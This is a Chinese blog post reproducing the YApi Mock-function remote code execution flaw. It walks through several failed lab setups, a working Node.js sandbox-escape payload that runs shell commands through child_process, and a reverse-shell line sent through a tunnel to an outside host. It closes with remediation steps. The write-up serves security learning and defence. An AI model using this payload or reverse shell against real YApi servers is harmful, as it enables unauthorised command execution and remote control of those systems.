YApi Mock功能远程代码执行漏洞复现

YApi Mock功能远程代码执行漏洞复现


漏洞描述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

影响版本

YApi7月7日前版本,即版本<=1.92(后文有说明)

环境搭建

一、kali使用git直接克隆到本地(失败)

地址:https://github.com/Ryan-Miao/docker-yapi

git clone https://github.com/Ryan-Miao/docker-yapi.git

image-20210805174147977

然后启动环境

docker-compose up -d

加个-d在后台运行比较方便,如果想看到镜像的运行过程,可以不加-d,如下图

image-20210805181057212

二、nmp直接下载(失败)

地址 :https://github.com/YMFE/yapi/

下载后npm安装

npm install -g yapi-cli --registry https://registry.npm.taobao.org

目录下启动环境

yapi server 

服务管理

image-20210806113251607

启动环境后访问9090端口开始部署环境

image-20210806113449404

直接默认部署即可,也可以选择版本

image-20210806113656951

等待部署完成。

翻车:

image-20210806163846072

应该是没有MongoDB服务导致的

Mongdb安装配置

具体可以看这篇文章:https://www.cnblogs.com/jackson-yqj/p/11043770.html

1、下载Mongdb
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.10.tgz    # 下载
2、解压并拷贝到指定目录
tar -zxvf mongodb-linux-x86_64-4.0.10.tgz                                   # 解压
mv  mongodb-linux-x86_64-4.0.10/ /usr/local/mongodb                         # 将解压包拷贝到指定目录
3、配置系统环境变量

vim /etc/profile

会提示文件已存在,输入“e”,回车,然后键盘按下“i” ,进入编辑模式即可。在文件的最后加上:

#mongodb
export PATH=$PATH:/usr/local/mongodb/bin

image-20210806164250039

4、建MongoDB数据存放文件夹和日志记录文件夹
mkdir data/db
mkdir data/logs
5、创建MongoDB运行时使用的配置文件

1,进入bin目录下:cd /usr/local/mongodb/bin

2,创建mongodb.conf配置文件:vim mongodb.conf

会提示是new file,直接输入下面内容:

image-20210806173716900

保存好。

6、启动MongoDB服务

1,进入bin目录下:cd /usr/local/mongodb/bin

2,加载配置文件方式启动:./mongod -f mongodb.conf

报错

image-20210806170104606

看这篇文章:https://blog.csdn.net/qq_42910468/article/details/103076136

再次失败!放弃

三、另一个地址的git(失败)

git clone https://github.com/fjc0k/docker-YApi.git

docker-compose up -d

image-20210806144104290搭建成功,但是复现之后发现已经修复了

四、利用vulfous靶场

漏洞复现

1、注册用户

image-20210806145309567

这里虽然关闭了注册,我们在docker-compose.yml中将true修改为flase,关闭这个功能,这也是这个漏洞的防护方法之一

image-20210806145818553

然后重启镜像,随意注册一个用户

image-20210806150557699

2、添加项目

image-20210806150704266

3、添加接口

image-20210806150829618

4、设置mock

image-20210806151342304

写入Poc:i whoami &&ls /tmp即为要执行的命令,记得保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami &&  ls /tmp").toString()

5、访问Mock地址

回到预览位置,访问地址

image-20210806151156746

翻车

image-20210806151857631

说明该git下载的版本已经修复这个漏洞了。。 查看一下文档,果然。因此,漏洞版本为1.92之前的版本。。。

image-20210806153533728

这里因为版本问题复现复现失败,但是过程是一致的,后面利用vulfocus复现一下,只展示结果

6、命令执行成功

image-20210806183953773

7、反弹shell

同样,也可以利用命令实现反弹shell。

这里利用NATAPP实现隧道穿透到虚拟机https://natapp.cn/

image-20210806184423418

端口映射到公网上进行反弹shell

开启 ./natapp -authtoken=填自己的token值

在这里插入图片描述

监听4444端口 nc -lvp 4444

然后反弹shell命令

bash -i >& /dev/tcp/server.natappfree.cc/45741 0>&1

先鸽了没成功

漏洞修复

1、关闭YApi用户注册功能;修改完成后,重启YApi服务

"config.json"添加"closeRegister:true"配置项:
{
  "port": "*****",
  "closeRegister":true
}

2、暂时关闭mock功能(需要修改YApi代码)

在"config.json"中添加"mock: false";

"exts/yapi-plugin-andvanced-mock/server.js"中找到

if (caseData&&caseData.case_enable{...}

在其上方添加

if(!yapi.WEBCONFIG.mock) {return false;}

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值